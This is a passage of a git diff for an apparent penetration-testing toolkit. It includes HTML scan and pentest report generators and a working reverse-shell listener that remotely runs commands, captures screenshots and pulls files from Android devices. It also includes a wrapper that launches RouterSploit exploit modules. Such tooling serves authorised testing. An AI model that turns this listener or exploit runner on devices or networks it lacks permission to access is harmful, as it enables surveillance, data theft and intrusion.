    + + + ''' + + html = self._get_html_template().format( + title="AUTARCH Security Audit Report", + content=content + ) + + filename = f"audit_{datetime.now().strftime('%Y%m%d_%H%M%S')}.html" + filepath = self.output_dir / filename + with open(filepath, 'w', encoding='utf-8') as f: + f.write(html) + return str(filepath) + + def generate_network_scan_report( + self, + target: str, + hosts: List[Dict], + scan_time: float = 0 + ) -> str: + """Generate HTML report for network scan. + + Args: + target: Target subnet/IP. + hosts: List of host dictionaries with ports/services. + scan_time: Total scan time in seconds. + + Returns: + Path to generated report file. + """ + total_ports = sum(len(h.get('ports', [])) for h in hosts) + all_services = set() + for h in hosts: + for p in h.get('ports', []): + all_services.add(p.get('service', 'unknown')) + + # Host rows + host_rows = '' + for h in hosts: + ports_str = ', '.join(str(p.get('port', '')) for p in h.get('ports', [])) + services_str = ', '.join(set(p.get('service', '') for p in h.get('ports', []))) + host_rows += f''' + + {h.get('ip', '')} + {h.get('hostname', '-')} + {h.get('os_guess', '-')} + {ports_str or '-'} + {services_str or '-'} + + ''' + + # Service distribution + svc_count = {} + for h in hosts: + for p in h.get('ports', []): + svc = p.get('service', 'unknown') + svc_count[svc] = svc_count.get(svc, 0) + 1 + + svc_rows = '' + for svc, count in sorted(svc_count.items(), key=lambda x: -x[1]): + svc_rows += f'{svc}{count}\n' + + content = f''' +
    +

    Network Scan Report

    +
    + Target: {target} + Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} + Scan Time: {scan_time:.1f}s +
    +
    + +
    +
    +
    {len(hosts)}
    +
    Hosts Found
    +
    +
    +
    {total_ports}
    +
    Open Ports
    +
    +
    +
    {len(all_services)}
    +
    Unique Services
    +
    +
    + +
    +

    Host Map ({len(hosts)} hosts)

    + + + + + + + + + + + + {host_rows if host_rows else ''} + +
    IP AddressHostnameOSOpen PortsServices
    No hosts found
    +
    + +
    +

    Service Distribution

    + + + {svc_rows} +
    ServiceCount
    +
    + + + ''' + + html = self._get_html_template().format( + title=f"AUTARCH Network Scan - {target}", + content=content + ) + + safe_target = target.replace('/', '_').replace('.', '-') + filename = f"network_{safe_target}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.html" + filepath = self.output_dir / filename + with open(filepath, 'w', encoding='utf-8') as f: + f.write(html) + return str(filepath) + + def generate_vulnerability_report( + self, + target: str, + correlations: List[Dict], + scan_time: float = 0 + ) -> str: + """Generate HTML report for vulnerability scan. + + Args: + target: Target IP/hostname. + correlations: List of service-CVE correlation dicts. + scan_time: Total scan time in seconds. + + Returns: + Path to generated report file. + """ + total_cves = 0 + severity_counts = {'CRITICAL': 0, 'HIGH': 0, 'MEDIUM': 0, 'LOW': 0} + for corr in correlations: + for cve in corr.get('cves', []): + total_cves += 1 + score = cve.get('cvss', 0) + if score >= 9.0: + severity_counts['CRITICAL'] += 1 + elif score >= 7.0: + severity_counts['HIGH'] += 1 + elif score >= 4.0: + severity_counts['MEDIUM'] += 1 + else: + severity_counts['LOW'] += 1 + + # Per-service CVE sections + service_sections = '' + for corr in correlations: + svc = corr.get('service', {}) + cves = corr.get('cves', []) + svc_label = f"{svc.get('service', 'unknown')}:{svc.get('version', '?')} on port {svc.get('port', '?')}" + + cve_rows = '' + for cve in sorted(cves, key=lambda x: -x.get('cvss', 0)): + score = cve.get('cvss', 0) + if score >= 9.0: + sev, sev_class = 'CRITICAL', 'severity-critical' + elif score >= 7.0: + sev, sev_class = 'HIGH', 'severity-high' + elif score >= 4.0: + sev, sev_class = 'MEDIUM', 'severity-medium' + else: + sev, sev_class = 'LOW', 'severity-low' + + cve_rows += f''' + + {cve.get('id', '')} + {sev} ({score}) + {cve.get('description', '')[:200]} + + ''' + + service_sections += f''' +
    +

    {svc_label} ({len(cves)} CVEs)

    + + + {cve_rows if cve_rows else ''} +
    CVE IDSeverityDescription
    No CVEs found
    +
    + ''' + + content = f''' +
    +

    Vulnerability Report

    +
    + Target: {target} + Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} + Scan Time: {scan_time:.1f}s +
    +
    + +
    +
    +
    {total_cves}
    +
    Total CVEs
    +
    +
    +
    {severity_counts['CRITICAL']}
    +
    Critical
    +
    +
    +
    {severity_counts['HIGH']}
    +
    High
    +
    +
    +
    {severity_counts['MEDIUM']}
    +
    Medium
    +
    +
    +
    {severity_counts['LOW']}
    +
    Low
    +
    +
    + + {service_sections} + + + ''' + + html = self._get_html_template().format( + title=f"AUTARCH Vulnerability Report - {target}", + content=content + ) + + safe_target = target.replace('/', '_').replace('.', '-') + filename = f"vulns_{safe_target}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.html" + filepath = self.output_dir / filename + with open(filepath, 'w', encoding='utf-8') as f: + f.write(html) + return str(filepath) + + def generate_pentest_report( + self, + target: str, + network_data: Optional[List[Dict]] = None, + vuln_data: Optional[List[Dict]] = None, + exploit_data: Optional[List[Dict]] = None, + audit_data: Optional[Dict] = None + ) -> str: + """Generate combined pentest report. + + Args: + target: Target IP/hostname. + network_data: Network map host list (optional). + vuln_data: Vulnerability correlations (optional). + exploit_data: Exploit suggestions (optional). + audit_data: Security audit data with 'system_info', 'issues', 'score' (optional). + + Returns: + Path to generated report file. + """ + sections_html = '' + + # Executive summary + summary_items = [] + if network_data: + summary_items.append(f"
  • {len(network_data)} hosts discovered
  • ") + if vuln_data: + total_cves = sum(len(c.get('cves', [])) for c in vuln_data) + summary_items.append(f"
  • {total_cves} vulnerabilities identified across {len(vuln_data)} services
  • ") + if exploit_data: + summary_items.append(f"
  • {len(exploit_data)} potential exploit paths identified
  • ") + if audit_data: + summary_items.append(f"
  • Security score: {audit_data.get('score', 'N/A')}/100
  • ") + + sections_html += f''' +
    +

    Executive Summary

    +
      + {''.join(summary_items) if summary_items else '
    • No data collected
    • '} +
    +
    + ''' + + # Network map section + if network_data: + net_rows = '' + for h in network_data: + ports_str = ', '.join(str(p.get('port', '')) for p in h.get('ports', [])) + services_str = ', '.join(set(p.get('service', '') for p in h.get('ports', []))) + net_rows += f''' + + {h.get('ip', '')} + {h.get('hostname', '-')} + {h.get('os_guess', '-')} + {ports_str or '-'} + {services_str or '-'} + + ''' + sections_html += f''' +
    +

    Network Map ({len(network_data)} hosts)

    + + + {net_rows} +
    IPHostnameOSPortsServices
    +
    + ''' + + # Vulnerabilities section + if vuln_data: + vuln_rows = '' + for corr in vuln_data: + svc = corr.get('service', {}) + for cve in sorted(corr.get('cves', []), key=lambda x: -x.get('cvss', 0)): + score = cve.get('cvss', 0) + if score >= 9.0: + sev, sev_class = 'CRITICAL', 'severity-critical' + elif score >= 7.0: + sev, sev_class = 'HIGH', 'severity-high' + elif score >= 4.0: + sev, sev_class = 'MEDIUM', 'severity-medium' + else: + sev, sev_class = 'LOW', 'severity-low' + vuln_rows += f''' + + {svc.get('service', '')}:{svc.get('port', '')} + {cve.get('id', '')} + {sev} ({score}) + {cve.get('description', '')[:150]} + + ''' + sections_html += f''' +
    +

    Vulnerabilities

    + + + {vuln_rows} +
    ServiceCVESeverityDescription
    +
    + ''' + + # Exploit suggestions section + if exploit_data: + exploit_rows = '' + for i, exp in enumerate(exploit_data, 1): + exploit_rows += f''' + + {i} + {exp.get('module', '')} + {exp.get('target', '')} + {exp.get('cve', '-')} + {exp.get('reasoning', '')} + + ''' + sections_html += f''' +
    +

    Exploit Suggestions ({len(exploit_data)})

    + + + {exploit_rows} +
    #ModuleTargetCVEReasoning
    +
    + ''' + + # Security audit section + if audit_data: + score = audit_data.get('score', 0) + if score >= 80: + score_color = "var(--accent-green)" + elif score >= 60: + score_color = "var(--accent-yellow)" + else: + score_color = "var(--accent-red)" + + audit_issue_rows = '' + for issue in audit_data.get('issues', []): + sev = issue.get('severity', 'LOW').upper() + sev_class = f'severity-{sev.lower()}' + audit_issue_rows += f''' + + {sev} + {issue.get('title', '')} + {issue.get('description', '')} + + ''' + sections_html += f''' +
    +

    Security Audit (Score: {score}/100)

    +
    +
    + {score}/100 +
    +
    + + + {audit_issue_rows if audit_issue_rows else ''} +
    SeverityIssueDescription
    No issues
    +
    + ''' + + content = f''' +
    +

    Penetration Test Report

    +
    + Target: {target} + Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} +
    +
    + + {sections_html} + + + ''' + + html = self._get_html_template().format( + title=f"AUTARCH Pentest Report - {target}", + content=content + ) + + safe_target = target.replace('/', '_').replace('.', '-') + filename = f"pentest_{safe_target}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.html" + filepath = self.output_dir / filename + with open(filepath, 'w', encoding='utf-8') as f: + f.write(html) + return str(filepath) + + +def get_report_generator(output_dir: str = None) -> ReportGenerator: + """Get a ReportGenerator instance. + + Args: + output_dir: Optional output directory. + + Returns: + ReportGenerator instance. + """ + return ReportGenerator(output_dir) diff --git a/core/revshell.py b/core/revshell.py new file mode 100644 index 0000000..7fb65c7 --- /dev/null +++ b/core/revshell.py @@ -0,0 +1,493 @@ +""" +AUTARCH Reverse Shell Listener +Accepts incoming reverse shell connections from the Archon Android companion app. + +Protocol: JSON over TCP, newline-delimited. Matches ArchonShell.java. + +Auth handshake: + Client → Server: {"type":"auth","token":"xxx","device":"model","android":"14","uid":2000} + Server → Client: {"type":"auth_ok"} or {"type":"auth_fail","reason":"..."} + +Command flow: + Server → Client: {"type":"cmd","cmd":"ls","timeout":30,"id":"abc"} + Client → Server: {"type":"result","id":"abc","stdout":"...","stderr":"...","exit_code":0} + +Special commands: __sysinfo__, __packages__, __screenshot__, __download__, __upload__, + __processes__, __netstat__, __dumplog__, __disconnect__ +""" + +import base64 +import json +import logging +import os +import socket +import threading +import time +import uuid +from datetime import datetime +from pathlib import Path +from typing import Optional, Dict, List, Any, Tuple + +from core.paths import get_data_dir + +logger = logging.getLogger('autarch.revshell') + + +class RevShellSession: + """Active reverse shell session with an Archon device.""" + + def __init__(self, sock: socket.socket, device_info: dict, session_id: str): + self.socket = sock + self.device_info = device_info + self.session_id = session_id + self.connected_at = datetime.now() + self.command_log: List[dict] = [] + self._lock = threading.Lock() + self._reader = sock.makefile('r', encoding='utf-8', errors='replace') + self._writer = sock.makefile('w', encoding='utf-8', errors='replace') + self._alive = True + self._cmd_counter = 0 + + @property + def alive(self) -> bool: + return self._alive + + @property + def device_name(self) -> str: + return self.device_info.get('device', 'unknown') + + @property + def android_version(self) -> str: + return self.device_info.get('android', '?') + + @property + def uid(self) -> int: + return self.device_info.get('uid', -1) + + @property + def uptime(self) -> float: + return (datetime.now() - self.connected_at).total_seconds() + + def execute(self, command: str, timeout: int = 30) -> dict: + """Send a command and wait for result. Returns {stdout, stderr, exit_code}.""" + with self._lock: + if not self._alive: + return {'stdout': '', 'stderr': 'Session disconnected', 'exit_code': -1} + + self._cmd_counter += 1 + cmd_id = f"cmd_{self._cmd_counter}" + + msg = json.dumps({ + 'type': 'cmd', + 'cmd': command, + 'timeout': timeout, + 'id': cmd_id + }) + + try: + self._writer.write(msg + '\n') + self._writer.flush() + + # Read response (with extended timeout for command execution) + self.socket.settimeout(timeout + 10) + response_line = self._reader.readline() + if not response_line: + self._alive = False + return {'stdout': '', 'stderr': 'Connection closed', 'exit_code': -1} + + result = json.loads(response_line) + + # Log command + self.command_log.append({ + 'time': datetime.now().isoformat(), + 'cmd': command, + 'exit_code': result.get('exit_code', -1) + }) + + return { + 'stdout': result.get('stdout', ''), + 'stderr': result.get('stderr', ''), + 'exit_code': result.get('exit_code', -1) + } + + except (socket.timeout, OSError, json.JSONDecodeError) as e: + logger.error(f"Session {self.session_id}: execute error: {e}") + self._alive = False + return {'stdout': '', 'stderr': f'Communication error: {e}', 'exit_code': -1} + + def execute_special(self, command: str, **kwargs) -> dict: + """Execute a special command with extra parameters.""" + with self._lock: + if not self._alive: + return {'stdout': '', 'stderr': 'Session disconnected', 'exit_code': -1} + + self._cmd_counter += 1 + cmd_id = f"cmd_{self._cmd_counter}" + + msg = {'type': 'cmd', 'cmd': command, 'id': cmd_id, 'timeout': 60} + msg.update(kwargs) + + try: + self._writer.write(json.dumps(msg) + '\n') + self._writer.flush() + + self.socket.settimeout(70) + response_line = self._reader.readline() + if not response_line: + self._alive = False + return {'stdout': '', 'stderr': 'Connection closed', 'exit_code': -1} + + return json.loads(response_line) + + except (socket.timeout, OSError, json.JSONDecodeError) as e: + logger.error(f"Session {self.session_id}: special cmd error: {e}") + self._alive = False + return {'stdout': '', 'stderr': f'Communication error: {e}', 'exit_code': -1} + + def sysinfo(self) -> dict: + """Get device system information.""" + return self.execute('__sysinfo__') + + def packages(self) -> dict: + """List installed packages.""" + return self.execute('__packages__', timeout=30) + + def screenshot(self) -> Optional[bytes]: + """Capture screenshot. Returns PNG bytes or None.""" + result = self.execute('__screenshot__', timeout=30) + if result['exit_code'] != 0: + return None + try: + return base64.b64decode(result['stdout']) + except Exception: + return None + + def download(self, remote_path: str) -> Optional[Tuple[bytes, str]]: + """Download file from device. Returns (data, filename) or None.""" + result = self.execute_special('__download__', path=remote_path) + if result.get('exit_code', -1) != 0: + return None + try: + data = base64.b64decode(result.get('stdout', '')) + filename = result.get('filename', os.path.basename(remote_path)) + return (data, filename) + except Exception: + return None + + def upload(self, local_path: str, remote_path: str) -> dict: + """Upload file to device.""" + try: + with open(local_path, 'rb') as f: + data = base64.b64encode(f.read()).decode('ascii') + except IOError as e: + return {'stdout': '', 'stderr': f'Failed to read local file: {e}', 'exit_code': -1} + + return self.execute_special('__upload__', path=remote_path, data=data) + + def processes(self) -> dict: + """List running processes.""" + return self.execute('__processes__', timeout=10) + + def netstat(self) -> dict: + """Get network connections.""" + return self.execute('__netstat__', timeout=10) + + def dumplog(self, lines: int = 100) -> dict: + """Get logcat output.""" + return self.execute_special('__dumplog__', lines=min(lines, 5000)) + + def ping(self) -> bool: + """Send keepalive ping.""" + with self._lock: + if not self._alive: + return False + try: + self._writer.write('{"type":"ping"}\n') + self._writer.flush() + self.socket.settimeout(10) + response = self._reader.readline() + if not response: + self._alive = False + return False + result = json.loads(response) + return result.get('type') == 'pong' + except Exception: + self._alive = False + return False + + def disconnect(self): + """Gracefully disconnect the session.""" + with self._lock: + if not self._alive: + return + try: + self._writer.write('{"type":"disconnect"}\n') + self._writer.flush() + except Exception: + pass + self._alive = False + try: + self.socket.close() + except Exception: + pass + + def to_dict(self) -> dict: + """Serialize session info for API responses.""" + return { + 'session_id': self.session_id, + 'device': self.device_name, + 'android': self.android_version, + 'uid': self.uid, + 'connected_at': self.connected_at.isoformat(), + 'uptime': int(self.uptime), + 'commands_executed': len(self.command_log), + 'alive': self._alive, + } + + +class RevShellListener: + """TCP listener for incoming Archon reverse shell connections.""" + + def __init__(self, host: str = '0.0.0.0', port: int = 17322, auth_token: str = None): + self.host = host + self.port = port + self.auth_token = auth_token or uuid.uuid4().hex[:32] + self.sessions: Dict[str, RevShellSession] = {} + self._server_socket: Optional[socket.socket] = None + self._accept_thread: Optional[threading.Thread] = None + self._keepalive_thread: Optional[threading.Thread] = None + self._running = False + self._lock = threading.Lock() + + # Data directory for screenshots, downloads, etc. + self._data_dir = get_data_dir() / 'revshell' + self._data_dir.mkdir(parents=True, exist_ok=True) + + @property + def running(self) -> bool: + return self._running + + @property + def active_sessions(self) -> List[RevShellSession]: + return [s for s in self.sessions.values() if s.alive] + + def start(self) -> Tuple[bool, str]: + """Start listening for incoming reverse shell connections.""" + if self._running: + return (False, 'Listener already running') + + try: + self._server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self._server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self._server_socket.settimeout(2.0) # Accept timeout for clean shutdown + self._server_socket.bind((self.host, self.port)) + self._server_socket.listen(5) + except OSError as e: + return (False, f'Failed to bind {self.host}:{self.port}: {e}') + + self._running = True + + self._accept_thread = threading.Thread(target=self._accept_loop, daemon=True) + self._accept_thread.start() + + self._keepalive_thread = threading.Thread(target=self._keepalive_loop, daemon=True) + self._keepalive_thread.start() + + logger.info(f"RevShell listener started on {self.host}:{self.port}") + logger.info(f"Auth token: {self.auth_token}") + return (True, f'Listening on {self.host}:{self.port}') + + def stop(self): + """Stop listener and disconnect all sessions.""" + self._running = False + + # Disconnect all sessions + for session in list(self.sessions.values()): + try: + session.disconnect() + except Exception: + pass + + # Close server socket + if self._server_socket: + try: + self._server_socket.close() + except Exception: + pass + + # Wait for threads + if self._accept_thread: + self._accept_thread.join(timeout=5) + if self._keepalive_thread: + self._keepalive_thread.join(timeout=5) + + logger.info("RevShell listener stopped") + + def get_session(self, session_id: str) -> Optional[RevShellSession]: + """Get session by ID.""" + return self.sessions.get(session_id) + + def list_sessions(self) -> List[dict]: + """List all sessions with their info.""" + return [s.to_dict() for s in self.sessions.values()] + + def remove_session(self, session_id: str): + """Disconnect and remove a session.""" + session = self.sessions.pop(session_id, None) + if session: + session.disconnect() + + def save_screenshot(self, session_id: str) -> Optional[str]: + """Capture and save screenshot. Returns file path or None.""" + session = self.get_session(session_id) + if not session or not session.alive: + return None + + png_data = session.screenshot() + if not png_data: + return None + + timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') + filename = f'screenshot_{session.device_name}_{timestamp}.png' + filepath = self._data_dir / filename + filepath.write_bytes(png_data) + return str(filepath) + + def save_download(self, session_id: str, remote_path: str) -> Optional[str]: + """Download file from device and save locally. Returns local path or None.""" + session = self.get_session(session_id) + if not session or not session.alive: + return None + + result = session.download(remote_path) + if not result: + return None + + data, filename = result + filepath = self._data_dir / filename + filepath.write_bytes(data) + return str(filepath) + + # ── Internal ──────────────────────────────────────────────────── + + def _accept_loop(self): + """Accept incoming connections in background thread.""" + while self._running: + try: + client_sock, addr = self._server_socket.accept() + client_sock.settimeout(30) + logger.info(f"Connection from {addr[0]}:{addr[1]}") + + # Handle auth in a separate thread to not block accept + threading.Thread( + target=self._handle_new_connection, + args=(client_sock, addr), + daemon=True + ).start() + + except socket.timeout: + continue + except OSError: + if self._running: + logger.error("Accept error") + break + + def _handle_new_connection(self, sock: socket.socket, addr: tuple): + """Authenticate a new connection.""" + try: + reader = sock.makefile('r', encoding='utf-8', errors='replace') + writer = sock.makefile('w', encoding='utf-8', errors='replace') + + # Read auth message + auth_line = reader.readline() + if not auth_line: + sock.close() + return + + auth_msg = json.loads(auth_line) + + if auth_msg.get('type') != 'auth': + writer.write('{"type":"auth_fail","reason":"Expected auth message"}\n') + writer.flush() + sock.close() + return + + # Verify token + if auth_msg.get('token') != self.auth_token: + logger.warning(f"Auth failed from {addr[0]}:{addr[1]}") + writer.write('{"type":"auth_fail","reason":"Invalid token"}\n') + writer.flush() + sock.close() + return + + # Auth OK — create session + writer.write('{"type":"auth_ok"}\n') + writer.flush() + + session_id = uuid.uuid4().hex[:12] + device_info = { + 'device': auth_msg.get('device', 'unknown'), + 'android': auth_msg.get('android', '?'), + 'uid': auth_msg.get('uid', -1), + 'remote_addr': f"{addr[0]}:{addr[1]}" + } + + session = RevShellSession(sock, device_info, session_id) + with self._lock: + self.sessions[session_id] = session + + logger.info(f"Session {session_id}: {device_info['device']} " + f"(Android {device_info['android']}, UID {device_info['uid']})") + + except (json.JSONDecodeError, OSError) as e: + logger.error(f"Auth error from {addr[0]}:{addr[1]}: {e}") + try: + sock.close() + except Exception: + pass + + def _keepalive_loop(self): + """Periodically ping sessions and remove dead ones.""" + while self._running: + time.sleep(30) + dead = [] + for sid, session in list(self.sessions.items()): + if not session.alive: + dead.append(sid) + continue + # Ping to check liveness + if not session.ping(): + dead.append(sid) + logger.info(f"Session {sid} lost (keepalive failed)") + + for sid in dead: + self.sessions.pop(sid, None) + + +# ── Singleton ─────────────────────────────────────────────────────── + +_listener: Optional[RevShellListener] = None + + +def get_listener() -> RevShellListener: + """Get or create the global RevShellListener singleton.""" + global _listener + if _listener is None: + _listener = RevShellListener() + return _listener + + +def start_listener(host: str = '0.0.0.0', port: int = 17322, + token: str = None) -> Tuple[bool, str]: + """Start the global listener.""" + global _listener + _listener = RevShellListener(host=host, port=port, auth_token=token) + return _listener.start() + + +def stop_listener(): + """Stop the global listener.""" + global _listener + if _listener: + _listener.stop() + _listener = None diff --git a/core/rsf.py b/core/rsf.py new file mode 100644 index 0000000..e711123 --- /dev/null +++ b/core/rsf.py @@ -0,0 +1,450 @@ +""" +AUTARCH RouterSploit Framework Wrapper +Low-level interface for RouterSploit module discovery, import, and execution. +Direct Python import -- no RPC layer needed since RSF is pure Python. +""" + +import sys +import os +import re +import threading +import importlib +from io import StringIO +from dataclasses import dataclass, field +from typing import Optional, List, Dict, Tuple, Any +from contextlib import contextmanager + +from .config import get_config + + +class RSFError(Exception): + """Custom exception for RouterSploit operations.""" + pass + + +@dataclass +class RSFModuleInfo: + """Metadata for a RouterSploit module.""" + name: str = "" + path: str = "" + description: str = "" + authors: Tuple[str, ...] = () + devices: Tuple[str, ...] = () + references: Tuple[str, ...] = () + options: List[Dict[str, Any]] = field(default_factory=list) + module_type: str = "" # exploits, creds, scanners, payloads, encoders, generic + + +class RSFManager: + """Manager for RouterSploit framework operations. + + Handles sys.path setup, module discovery, dynamic import, + option introspection, stdout capture, and execution. + """ + + def __init__(self): + self._available = None + self._module_index = None + self._path_added = False + + def _ensure_path(self): + """Add RSF install path to sys.path if not already present.""" + if self._path_added: + return + + config = get_config() + install_path = config.get('rsf', 'install_path', '') + + if install_path and install_path not in sys.path: + sys.path.insert(0, install_path) + self._path_added = True + + @property + def is_available(self) -> bool: + """Check if RouterSploit is importable. Caches result.""" + if self._available is not None: + return self._available + + try: + self._ensure_path() + import routersploit + self._available = True + except ImportError: + self._available = False + + return self._available + + def reset_cache(self): + """Reset cached state (availability, module index).""" + self._available = None + self._module_index = None + self._path_added = False + + def index_all_modules(self) -> List[str]: + """Discover all RSF modules. Returns list of dotted module paths. + + Uses routersploit.core.exploit.utils.index_modules() internally. + Results are cached after first call. + + Returns: + List of module paths like 'exploits/routers/dlink/some_module' + """ + if self._module_index is not None: + return self._module_index + + if not self.is_available: + raise RSFError("RouterSploit is not available") + + try: + self._ensure_path() + from routersploit.core.exploit import utils + + modules_dir = os.path.join( + os.path.dirname(utils.__file__), + '..', '..', 'modules' + ) + modules_dir = os.path.normpath(modules_dir) + + if not os.path.isdir(modules_dir): + # Try from config path + config = get_config() + install_path = config.get('rsf', 'install_path', '') + modules_dir = os.path.join(install_path, 'routersploit', 'modules') + + raw_index = utils.index_modules(modules_dir) + + # Convert dotted paths to slash paths for display + self._module_index = [] + for mod_path in raw_index: + # Remove 'routersploit.modules.' prefix if present + clean = mod_path + for prefix in ('routersploit.modules.', 'modules.'): + if clean.startswith(prefix): + clean = clean[len(prefix):] + # Convert dots to slashes + clean = clean.replace('.', '/') + self._module_index.append(clean) + + return self._module_index + + except Exception as e: + raise RSFError(f"Failed to index modules: {e}") + + def get_module_count(self) -> int: + """Get total number of indexed modules.""" + try: + return len(self.index_all_modules()) + except RSFError: + return 0 + + def get_modules_by_type(self, module_type: str) -> List[str]: + """Filter modules by type (exploits, creds, scanners, payloads, encoders, generic). + + Args: + module_type: One of 'exploits', 'creds', 'scanners', 'payloads', 'encoders', 'generic' + + Returns: + List of matching module paths + """ + all_modules = self.index_all_modules() + return [m for m in all_modules if m.startswith(module_type + '/')] + + def search_modules(self, query: str) -> List[str]: + """Search modules by substring match on path. + + Args: + query: Search string (case-insensitive) + + Returns: + List of matching module paths + """ + all_modules = self.index_all_modules() + query_lower = query.lower() + return [m for m in all_modules if query_lower in m.lower()] + + def _dotted_path(self, slash_path: str) -> str: + """Convert slash path to dotted import path. + + Args: + slash_path: e.g. 'exploits/routers/dlink/some_module' + + Returns: + Dotted path like 'routersploit.modules.exploits.routers.dlink.some_module' + """ + clean = slash_path.strip('/') + dotted = clean.replace('/', '.') + return f"routersploit.modules.{dotted}" + + def load_module(self, path: str) -> Tuple[Any, RSFModuleInfo]: + """Load a RouterSploit module by path. + + Converts slash path to dotted import path, imports using + import_exploit(), instantiates, and extracts metadata. + + Args: + path: Module path like 'exploits/routers/dlink/some_module' + + Returns: + Tuple of (module_instance, RSFModuleInfo) + + Raises: + RSFError: If module cannot be loaded + """ + if not self.is_available: + raise RSFError("RouterSploit is not available") + + try: + self._ensure_path() + from routersploit.core.exploit.utils import import_exploit + + dotted = self._dotted_path(path) + module_class = import_exploit(dotted) + instance = module_class() + + # Extract __info__ dict + info_dict = {} + # RSF metaclass renames __info__ to _ClassName__info__ + for attr in dir(instance): + if attr.endswith('__info__') or attr == '__info__': + try: + info_dict = getattr(instance, attr) + if isinstance(info_dict, dict): + break + except AttributeError: + continue + + # If not found via mangled name, try class hierarchy + if not info_dict: + for klass in type(instance).__mro__: + mangled = f"_{klass.__name__}__info__" + if hasattr(klass, mangled): + info_dict = getattr(klass, mangled) + if isinstance(info_dict, dict): + break + + # Extract options + options = self.get_module_options(instance) + + # Determine module type from path + parts = path.split('/') + module_type = parts[0] if parts else "" + + module_info = RSFModuleInfo( + name=info_dict.get('name', path.split('/')[-1]), + path=path, + description=info_dict.get('description', ''), + authors=info_dict.get('authors', ()), + devices=info_dict.get('devices', ()), + references=info_dict.get('references', ()), + options=options, + module_type=module_type, + ) + + return instance, module_info + + except Exception as e: + raise RSFError(f"Failed to load module '{path}': {e}") + + def get_module_options(self, instance) -> List[Dict[str, Any]]: + """Introspect Option descriptors on a module instance. + + Uses RSF's exploit_attributes metaclass aggregator to get + option names, then reads descriptor properties for details. + + Args: + instance: Instantiated RSF module + + Returns: + List of dicts with keys: name, type, default, description, current, advanced + """ + options = [] + + # Try exploit_attributes first (set by metaclass) + exploit_attrs = getattr(type(instance), 'exploit_attributes', {}) + + if exploit_attrs: + for name, attr_info in exploit_attrs.items(): + # attr_info is [display_value, description, advanced] + display_value = attr_info[0] if len(attr_info) > 0 else "" + description = attr_info[1] if len(attr_info) > 1 else "" + advanced = attr_info[2] if len(attr_info) > 2 else False + + # Get current value from instance + try: + current = getattr(instance, name, display_value) + except Exception: + current = display_value + + # Determine option type from the descriptor class + opt_type = "string" + for klass in type(instance).__mro__: + if name in klass.__dict__: + descriptor = klass.__dict__[name] + opt_type = type(descriptor).__name__.lower() + # Clean up: optip -> ip, optport -> port, etc. + opt_type = opt_type.replace('opt', '') + break + + options.append({ + 'name': name, + 'type': opt_type, + 'default': display_value, + 'description': description, + 'current': str(current) if current is not None else "", + 'advanced': advanced, + }) + else: + # Fallback: inspect instance options property + opt_names = getattr(instance, 'options', []) + for name in opt_names: + try: + current = getattr(instance, name, "") + options.append({ + 'name': name, + 'type': 'string', + 'default': str(current), + 'description': '', + 'current': str(current) if current is not None else "", + 'advanced': False, + }) + except Exception: + continue + + return options + + def set_module_option(self, instance, name: str, value: str) -> bool: + """Set an option on a module instance. + + Args: + instance: RSF module instance + name: Option name + value: Value to set (string, will be validated by descriptor) + + Returns: + True if set successfully + + Raises: + RSFError: If option cannot be set + """ + try: + setattr(instance, name, value) + return True + except Exception as e: + raise RSFError(f"Failed to set option '{name}': {e}") + + @contextmanager + def capture_output(self): + """Context manager to capture stdout/stderr from RSF modules. + + RSF modules print directly via their printer system. This + redirects stdout/stderr to StringIO for capturing output. + + Yields: + StringIO object containing captured output + """ + captured = StringIO() + old_stdout = sys.stdout + old_stderr = sys.stderr + + try: + sys.stdout = captured + sys.stderr = captured + yield captured + finally: + sys.stdout = old_stdout + sys.stderr = old_stderr + + def execute_check(self, instance, timeout: int = 60) -> Tuple[Optional[bool], str]: + """Run check() on a module with stdout capture and timeout. + + check() is the safe vulnerability verification method. + + Args: + instance: RSF module instance (already configured) + timeout: Timeout in seconds + + Returns: + Tuple of (result, output) where result is True/False/None + """ + result = [None] + output = [""] + error = [None] + + def _run(): + try: + with self.capture_output() as captured: + check_result = instance.check() + result[0] = check_result + output[0] = captured.getvalue() + except Exception as e: + error[0] = e + try: + output[0] = captured.getvalue() + except Exception: + pass + + thread = threading.Thread(target=_run, daemon=True) + thread.start() + thread.join(timeout=timeout) + + if thread.is_alive(): + return None, output[0] + "\n[!] Module execution timed out" + + if error[0]: + return None, output[0] + f"\n[-] Error: {error[0]}" + + return result[0], output[0] + + def execute_run(self, instance, timeout: int = 120) -> Tuple[bool, str]: + """Run run() on a module with stdout capture and timeout. + + run() is the full exploit execution method. + + Args: + instance: RSF module instance (already configured) + timeout: Timeout in seconds + + Returns: + Tuple of (completed, output) where completed indicates + whether execution finished within timeout + """ + completed = [False] + output = [""] + error = [None] + + def _run(): + try: + with self.capture_output() as captured: + instance.run() + completed[0] = True + output[0] = captured.getvalue() + except Exception as e: + error[0] = e + try: + output[0] = captured.getvalue() + except Exception: + pass + + thread = threading.Thread(target=_run, daemon=True) + thread.start() + thread.join(timeout=timeout) + + if thread.is_alive(): + return False, output[0] + "\n[!] Module execution timed out" + + if error[0]: + return False, output[0] + f"\n[-] Error: {error[0]}" + + return completed[0], output[0] + + +# Singleton instance +_rsf_manager = None + + +def get_rsf_manager() -> RSFManager: + """Get the global RSFManager singleton instance.""" + global _rsf_manager + if _rsf_manager is None: + _rsf_manager = RSFManager() + return _rsf_manager diff --git a/core/rsf_interface.py b/core/rsf_interface.py new file mode 100644 index 0000000..b9fa11b --- /dev/null +++ b/core/rsf_interface.py @@ -0,0 +1,480 @@ +""" +AUTARCH RouterSploit High-Level Interface +Clean API for RSF operations, mirroring core/msf_interface.py patterns. +Wraps RSFManager with result parsing and formatted output. +""" + +import re +import time +from enum import Enum +from dataclasses import dataclass, field +from typing import Optional, List, Dict, Any + +from .rsf import get_rsf_manager, RSFError, RSFModuleInfo +from .banner import Colors + + +class RSFStatus(Enum): + """Status codes for RSF operations.""" + SUCCESS = "success" + VULNERABLE = "vulnerable" + NOT_VULNERABLE = "not_vulnerable" + FAILED = "failed" + TIMEOUT = "timeout" + NOT_AVAILABLE = "not_available" + + +@dataclass +class RSFResult: + """Result of an 